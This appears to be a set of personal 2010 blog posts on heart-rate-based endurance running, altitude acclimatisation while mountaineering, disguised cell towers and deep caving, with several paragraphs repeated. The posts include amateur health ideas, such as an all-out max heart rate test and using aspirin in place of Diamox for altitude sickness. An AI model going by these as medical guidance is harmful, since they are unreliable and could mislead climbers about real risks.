That's when I went back and did some more research on endurance training. I discovered in an earlier post that I'd been happily running at 90% of my max which is great mountaineering training where you have to be able to work at or near the point where you are working anaerobically, but it you want to increase your endurance you have to go slower.
In "The Outdoor Athlete" by Courtenay and Doug Schurman (which you can get at http://bodyresults.com), they have a section on Endurance Training.
They define 4 levels of intensity
- Recovery below 65% Maximum Heart Rate (MHR)
- Distance Aerobic (low intensity) Session 65-75% MHR
- Tempo Aerobic (medium intensity) Session 75-85% MHR
- Anaerobic (high intensity) Session > 85% MHR
I'd been working out at 160 bpm so I choose 150 bpm (even before looking up the above) as a limit. That works out to be around 85% of my max heart rate. This is pretty high, but it's difficult for me to keep my working heart rate under that when I'm really exercising and it seemed worth trying as a starting point.
A note on Max heart rate. If you really want to know your max heart rate get on a treadmill with a heart rate monitor and run till you drop and note your heart rate as you're dropping. I am not joking. All of the formulas are just estimates. 220-your age is off (by 5 for me). Even the more accurate 209-.7(your age) is off as I get older. (I should probably insert the usual "Please consult with your Doctor before trying to establish your max heart rate" caveat.)
So after a light meal (1/2 a sandwich) and equipped with lemonade (though I usually have Gatorade), in my bathing suit and shorts with my ipod and heart rate monitor off the gym I went.
The gym wasn't crowded and was decently cool. There was a Lacrosse game going on in the closest field to me that I could watch and ponder if Lacrosse really did have rules as they claim.
I entered in my info to the treadmill and chose a starting speed of 5.0 mph which is the speed I'd been working at. My idea was every time my heart rate got to 150-151 bpm, I would decrease my speed by 0.1-0.2 mph, even past the point of what I considered ridiculous.
Very quickly I decreased my speed to 4.8 mph
Then sometime after that to 4.6 mph
At that speed I passed 1.0 mile and then 1.25 miles. No leg drag. Somewhere in there I dropped it down to 4.4 and then not long after that was around 4.0 mph, but I was still running and no leg drag (and I'm starting to marvel at this). 2 miles passed and I was still ok. (Whoa). Then my pulse started to climb and I dropped it into the 3.8 range which is a really fast walk for some people, but I was definitely jogging and getting a good benefit from it and was in the middle of being amazed that I was still going. I stopped paying as much attention to the details as I was so far past my goals but when I hit 2.85 I realized that I might be able to make 5K (3.25). Dropping my speed to 3.6 mph and even occasionally as low as 3.5 mph worked. I discovered this a little while back on a different run. Going really slow can be beneficial and a great confidence booster.
My foot started to get sore so I finally stopped at 55 minutes and 3.63 miles which is the furthest I've ever run in one session and I didn't stop to walk at all. All this from keeping my pulse right at or just under 150 bpm. I was never out of breath and at 160 bpm (90% MHR) I definitely get that way. As I got further into the run I had to pay more attention on my foot placement but I was not battling chronic leg drag.
So the lessons were. Do what works for you. Though definitely use outside advice as a guide, but do what works for your body. I had to mentally get past running so slow, but that was an excellent workout for me. I can speed up later as my endurance improves.
It's also kinda cool that I got past the 5k limit as then if I wanted to I could enter a 5k run though things change when you're the one controlling the speed (instead of the treadmill) and other people are whizzing by you and you can't help but want to speed up, but that's another challenge for another day. I'm going to celebrate this milestone. i think it's time to make chocolate chip cookies.
Friday, September 10, 2010
Endurance Training
So I've been working on increasing the level of intensity that I can work at. This means that I can function at 90% of my max heart rate.
However I'm finding that my endurance has not increased very much and it's possibly why at altitude that I quite literally run out of oxygen and my muscles stop functioning very well. I have always thought it was the altitude since it always happens at particular elevations and that might have something to do with it, but it could be that I can only maintain working at 90% for so long.
Aerobic training (the kind where you can continue on indefinitely) is more around 85% of your max heart rate so I think I need to spend some time forcing myself to stay at that rate which is surprisingly hard when you have the illusion that you can go faster/harder.
One reason it's taken me this long to figure this out is that I only recently addressed the issue of my getting too hot. When I over heat I tire very quickly and start to trip over my own feet. I finally figured out if I wear a one piece bathing suit with a mostly open back, then the air is able to move around my back and keeps me cooler (I wear shorts too to keep the ridiculous look under control.) During the very first workout I was able to go longer, but still ran into a wall at just past 2 miles, so now I can start to work on the endurance angle more.
This makes me think that when I climb Mt Hoffman I should wear a heart rate monitor (what a great tool), and try to stay at 85% and see if I have the same altitude issues.
However I'm finding that my endurance has not increased very much and it's possibly why at altitude that I quite literally run out of oxygen and my muscles stop functioning very well. I have always thought it was the altitude since it always happens at particular elevations and that might have something to do with it, but it could be that I can only maintain working at 90% for so long.
Aerobic training (the kind where you can continue on indefinitely) is more around 85% of your max heart rate so I think I need to spend some time forcing myself to stay at that rate which is surprisingly hard when you have the illusion that you can go faster/harder.
One reason it's taken me this long to figure this out is that I only recently addressed the issue of my getting too hot. When I over heat I tire very quickly and start to trip over my own feet. I finally figured out if I wear a one piece bathing suit with a mostly open back, then the air is able to move around my back and keeps me cooler (I wear shorts too to keep the ridiculous look under control.) During the very first workout I was able to go longer, but still ran into a wall at just past 2 miles, so now I can start to work on the endurance angle more.
This makes me think that when I climb Mt Hoffman I should wear a heart rate monitor (what a great tool), and try to stay at 85% and see if I have the same altitude issues.
Thursday, September 09, 2010
The Cell Phone Tower Fake Trees
Then it was "What does it do?" Something made me glance at my phone and the bars were so maxed out I thought they'd fall off the display. "Er, gee you think it has to do with cell phones."
Multiple fake tree sightings have verified this and a quick Google confirmed it. And why didn't I do that when I first saw one? Maybe it's the quest and the weird intrigue about something hiding in plain sight.
Now I see them all the time. They totally jump out and I can cheerfully (what a geek) say look a fake tree, just like I was pointing out a Red Tail Hawk or something.
Ref:
http://www.waymarking.com/waymarks/WM4ZR
http://www.flickr.com/photos/63208268@N00/307679880/
Of course disguising cell towers isn't just limited to trees.
This church has turned a macbre sculpture of a crucified Jesus into a cell phone tower.
(eegh) [Sadly the link is no longer working.]
http://www.omg-facts.com/view/Facts/11835
A friend has also been photographing these anominallies:
Here's one on 101 N that has what appears to be two towers.
But her favorite is the magic pine tree that appears amongst all the palm trees in the middle of the desert off of I-210. I guess palm trees were on back order and that Home Depot had just run out. Brilliant.
Wednesday, September 08, 2010
Pushing a Bike Uphill is Great Exercise
I've discovered that if you're willing to push your mountain bike up hills that you can't ride up, you get great upper body (more like full body) exercise. Suddenly you have an excellent crosstraining solution. Certainly no shame in that. And the best part is you get to ride the bike down. Wheee! Especially on Mt. Diablo's fireroads that appear to be covered with a fine ball bearing gravel which I've slipped on more that once and have since bought cleats for this is very much a feature.
If you are willing to mix the two (walking and riding) you will find yourself going places that you couldn't of before. Just remember to bring plenty of food and water as you can go further than you would of anticipated.
If you are willing to mix the two (walking and riding) you will find yourself going places that you couldn't of before. Just remember to bring plenty of food and water as you can go further than you would of anticipated.
More Altitude Thoughts
So the dilemma is. How do you ascend gradually when no places to stop exist?
Do you sleep as high as you can?
Above 8000' when I've increased my sleeping altitude more than 1500' I've gotten ill.
What's weird is that i can drive up to 10k' and been able to sleep ok, but walking up to that
elevation from 8500' is much harder.
Do you sleep a bit lower where you will likely get more rest but have to climb further?
At that lower elevation how long do you spend there? 1 day, 2 days, more?
I tend to still hit a wall at some point.
Or do you just take a longer (2-6 hours) break while ascending?
Tempting to try this. I've done a shorter version of this a few times which helps a little.
Or do you just suffer?
Which I know isn't terribly effective for me.
I'm going to Yosemite soon and I have to figure out how I want to do this. I think I need to see how high I can climb if i spend the night at a fairly high altitude. Tuloumne Meadows Campground is at 8600', but Whitney Portal is at 8350' and I know that with a 35-40# backpack I can only get up to Lone Pine at 9885' before I start to struggle and limp into Outpost Camp at 10,360'. So likely the only thing I would learn is whether I would do better without a heavy pack.
This all makes me crazy. Whitney I can likely find ways to make it work but other climbs like Shasta and Ranier break all of those altitude rules that my body seems to really like. There just aren't places to camp above a certain point. Sigh.
The altitude increase basics are no more than 1000' elevation gain in a 24 hour period (above say 8000'). I can do 1500', but when I try to do 2000' is when I often get ill. Everybody else gets to break these rules why can't I?
Do you sleep as high as you can?
Above 8000' when I've increased my sleeping altitude more than 1500' I've gotten ill.
What's weird is that i can drive up to 10k' and been able to sleep ok, but walking up to that
elevation from 8500' is much harder.
Do you sleep a bit lower where you will likely get more rest but have to climb further?
At that lower elevation how long do you spend there? 1 day, 2 days, more?
I tend to still hit a wall at some point.
Or do you just take a longer (2-6 hours) break while ascending?
Tempting to try this. I've done a shorter version of this a few times which helps a little.
Or do you just suffer?
Which I know isn't terribly effective for me.
I'm going to Yosemite soon and I have to figure out how I want to do this. I think I need to see how high I can climb if i spend the night at a fairly high altitude. Tuloumne Meadows Campground is at 8600', but Whitney Portal is at 8350' and I know that with a 35-40# backpack I can only get up to Lone Pine at 9885' before I start to struggle and limp into Outpost Camp at 10,360'. So likely the only thing I would learn is whether I would do better without a heavy pack.
This all makes me crazy. Whitney I can likely find ways to make it work but other climbs like Shasta and Ranier break all of those altitude rules that my body seems to really like. There just aren't places to camp above a certain point. Sigh.
The altitude increase basics are no more than 1000' elevation gain in a 24 hour period (above say 8000'). I can do 1500', but when I try to do 2000' is when I often get ill. Everybody else gets to break these rules why can't I?
Mt Shasta Personal High Point and Futher Elevation Expermiments
More elevation navel gazing.
So on my most recent trip to Mt. Shasta with effort I got up to 11,125'.
I spent the night at Horse Camp (7900') and then we had porters lug our heavier equipment up to 50-50 at 9600'. With a night's sleep at Horse Camp I had no problem getting up to 9600'. Though a night's sleep at 50-50 didn't seem to make too much difference as it was still a struggle for me though at least this time I got past Helen "Lake" (10,400') and on to 11,125'.
Twice before I've climbed to Helen from Horse Camp. Sometimes it's easy sometimes it's not. I can't quite figure it out. I do wonder if I had spent another night at 50-50 if that would of made much difference but some while back on a group trip on the Hidden Valley route we spent two nights there and my climbing was still severely compromised despite being in excellent shape.
This is all starting to look like I might want to focus more on climbing on packed dirt (i.e. not scree and loose rock) since that's easier than snow, though when the snow is firm there's little difference between it and dirt. But snow softens through out the day and when the surface steepens and the day progresses you will find yourself kicking steps into the snow which takes effort. Even when you're using crampons you have to focus more on foot placement and that takes more effort than just hiking on a trail.
On dirt I've been past 13,000' and one time when we were up camping comfortably at 12,000' in the Mitre basin I know I could have summited Mt Whitney (whose newly remeasured altitude is 14,505') had I been anywhere near a good trail instead of trying not to slide down Crab Tree pass (12,600'). I've also been at Lower Boy Scout Lake and was able to climb past 13,000'. I've also been ill at LBSL and didn't recover even after a couple of days. Maddening.
In the Mitre Basin we slept at
Horseshoe Meadow Trailhead 10,200'
Some unidentified spot at 11,000' (what a slog that was because of the sand on the Pacific Crest Trail)
Then we went up through the Mitre Basin and slept at an unnamed lake just past Sky Blue Lake which was at 12,000.
Then I climbed up to nearly 13,000'.
At no time was I ill - I had a mild headache from driving up to Horseshoe Meadows, but it got better.
SO with a gradual ascent I am fine. Trouble is most climbs aren't nearly so accommodating in that respect. Counter intuitively starting high makes things easier because you're not expending nearly so much oxygen and energy, but that has its limits. It's tempting to test this out in Estes Park CO and at Hawaii's big island.
I had this idea that I'd drive up to Yosemite and climb Mt. Hoffman (10,850') twice to see if there was any difference between the first day and spending the night at 8200' and then doing it again. The other approach would be to drive up and do almost nothing and then try the climb the next day. (Maybe even try something higher like Mt Dana.)
The other funny thing is that I seem to have an internal altimeter. I hit a wall at 7200' and at 9600', but can adapt with time (usually an overnight), but if I'm tired I don't always adjust to 9600'. I'm also going to maybe not use Diamox, but instead use Aspirin to see if that makes a difference, because it thins your blood.
So I don't know how I'll get up Shasta. I know I can get up Whitney (need to get a permit for next year come Feb), but Shasta doesn't offer higher places to camp (besides the crowded and not pleasant Lake Helen). I need to find a way I can camp high without getting ill (by increasing my sleeping elevation no more than 1500') and then climb higher.
So on my most recent trip to Mt. Shasta with effort I got up to 11,125'.
I spent the night at Horse Camp (7900') and then we had porters lug our heavier equipment up to 50-50 at 9600'. With a night's sleep at Horse Camp I had no problem getting up to 9600'. Though a night's sleep at 50-50 didn't seem to make too much difference as it was still a struggle for me though at least this time I got past Helen "Lake" (10,400') and on to 11,125'.
Twice before I've climbed to Helen from Horse Camp. Sometimes it's easy sometimes it's not. I can't quite figure it out. I do wonder if I had spent another night at 50-50 if that would of made much difference but some while back on a group trip on the Hidden Valley route we spent two nights there and my climbing was still severely compromised despite being in excellent shape.
This is all starting to look like I might want to focus more on climbing on packed dirt (i.e. not scree and loose rock) since that's easier than snow, though when the snow is firm there's little difference between it and dirt. But snow softens through out the day and when the surface steepens and the day progresses you will find yourself kicking steps into the snow which takes effort. Even when you're using crampons you have to focus more on foot placement and that takes more effort than just hiking on a trail.
On dirt I've been past 13,000' and one time when we were up camping comfortably at 12,000' in the Mitre basin I know I could have summited Mt Whitney (whose newly remeasured altitude is 14,505') had I been anywhere near a good trail instead of trying not to slide down Crab Tree pass (12,600'). I've also been at Lower Boy Scout Lake and was able to climb past 13,000'. I've also been ill at LBSL and didn't recover even after a couple of days. Maddening.
In the Mitre Basin we slept at
Horseshoe Meadow Trailhead 10,200'
Some unidentified spot at 11,000' (what a slog that was because of the sand on the Pacific Crest Trail)
Then we went up through the Mitre Basin and slept at an unnamed lake just past Sky Blue Lake which was at 12,000.
Then I climbed up to nearly 13,000'.
At no time was I ill - I had a mild headache from driving up to Horseshoe Meadows, but it got better.
SO with a gradual ascent I am fine. Trouble is most climbs aren't nearly so accommodating in that respect. Counter intuitively starting high makes things easier because you're not expending nearly so much oxygen and energy, but that has its limits. It's tempting to test this out in Estes Park CO and at Hawaii's big island.
I had this idea that I'd drive up to Yosemite and climb Mt. Hoffman (10,850') twice to see if there was any difference between the first day and spending the night at 8200' and then doing it again. The other approach would be to drive up and do almost nothing and then try the climb the next day. (Maybe even try something higher like Mt Dana.)
The other funny thing is that I seem to have an internal altimeter. I hit a wall at 7200' and at 9600', but can adapt with time (usually an overnight), but if I'm tired I don't always adjust to 9600'. I'm also going to maybe not use Diamox, but instead use Aspirin to see if that makes a difference, because it thins your blood.
So I don't know how I'll get up Shasta. I know I can get up Whitney (need to get a permit for next year come Feb), but Shasta doesn't offer higher places to camp (besides the crowded and not pleasant Lake Helen). I need to find a way I can camp high without getting ill (by increasing my sleeping elevation no more than 1500') and then climb higher.
Tuesday, September 07, 2010
Deep Cave Exploration - Yikes!
In my continuing quest to be very well read and well watched in things I would never do on my own, I'm listening to a book on Deep Caving called Blind Descent (http://www.audible.com/pd?asin=B003L8GZLQ).
Now I like tourist caves where you go and see all the cool formations that form from something being dripped on or from for many millennia. They are beautiful.
I also like hiking and climbing up mountains partially for the physical challenge, but mostly for the view really, and to spend time in a lovely environment, breath some fresh air and just to get outside the box.
Deep caving offers precisely none of these features save for the extreme physical challenge.
To risk sounding like Andy Rooney. I don't get it.
To be fair I'm only half way through, though I have little doubt my view will change much. [I'm much further now and I was right.]
Features of deep caves
http://video.google.com/videoplay?docid=5797001505961854840#
National Geographic took at interest and has some information here:
http://ngm.nationalgeographic.com/ngm/caverace/week9/index.html
and here
http://ngm.nationalgeographic.com/ngm/0505/feature4/
You can also learn to be a cave diver. That is also another thing that the touristy "oh look all the cool sealife" totally is appealing to me, but when you get down that deep it more looks like this photo of the US Deep Caving Team's webpage:
http://www.usdct.org/
completely empty of life (well mostly).
As one reviewer of the book said. "It's all kinda creepy in a way." You are deliberately placing yourself in a really strange environment simply because no one else has yet been there. It is the last frontier on this Earth. Quite literally a journey towards the center of the Earth, and how people deal with being obsessed with finding the deepest cave in existence.
Of course the first or second thing that occurs to me is that this is a moving target in a way. Water, volcanoes and earthquakes are constantly reshaping the Earth. What is the lowest point now is very likely not going to continue that way for too long, but we are talking geologic time so it may not matter.
Now I like tourist caves where you go and see all the cool formations that form from something being dripped on or from for many millennia. They are beautiful.
I also like hiking and climbing up mountains partially for the physical challenge, but mostly for the view really, and to spend time in a lovely environment, breath some fresh air and just to get outside the box.
Deep caving offers precisely none of these features save for the extreme physical challenge.
To risk sounding like Andy Rooney. I don't get it.
To be fair I'm only half way through, though I have little doubt my view will change much. [I'm much further now and I was right.]
Features of deep caves
- pitch blackness, no light at all, you are totally dependent on artificial illumination
- they are flooded much of the year and such are very wet
- they are surprisingly noisy because of wind
- your sleeping accomodations might be a narrow wet ledge that you have to worry about rolling off ot
- you go down first so when you "top out" you now have the hardest part of the climb still to go
- there are myriad ways to die and nearly no help is available or what is is days away.
- similar to mountaineering even the simplest of injuries are much more difficult to manage, even worse than mountaineering is the possibility of infection because of all the wet, dust, and silt is much higher. And the no help factor too.
http://video.google.com/videoplay?docid=5797001505961854840#
National Geographic took at interest and has some information here:
http://ngm.nationalgeographic.com/ngm/caverace/week9/index.html
and here
http://ngm.nationalgeographic.com/ngm/0505/feature4/
You can also learn to be a cave diver. That is also another thing that the touristy "oh look all the cool sealife" totally is appealing to me, but when you get down that deep it more looks like this photo of the US Deep Caving Team's webpage:
http://www.usdct.org/
completely empty of life (well mostly).
As one reviewer of the book said. "It's all kinda creepy in a way." You are deliberately placing yourself in a really strange environment simply because no one else has yet been there. It is the last frontier on this Earth. Quite literally a journey towards the center of the Earth, and how people deal with being obsessed with finding the deepest cave in existence.
Of course the first or second thing that occurs to me is that this is a moving target in a way. Water, volcanoes and earthquakes are constantly reshaping the Earth. What is the lowest point now is very likely not going to continue that way for too long, but we are talking geologic time so it may not matter.
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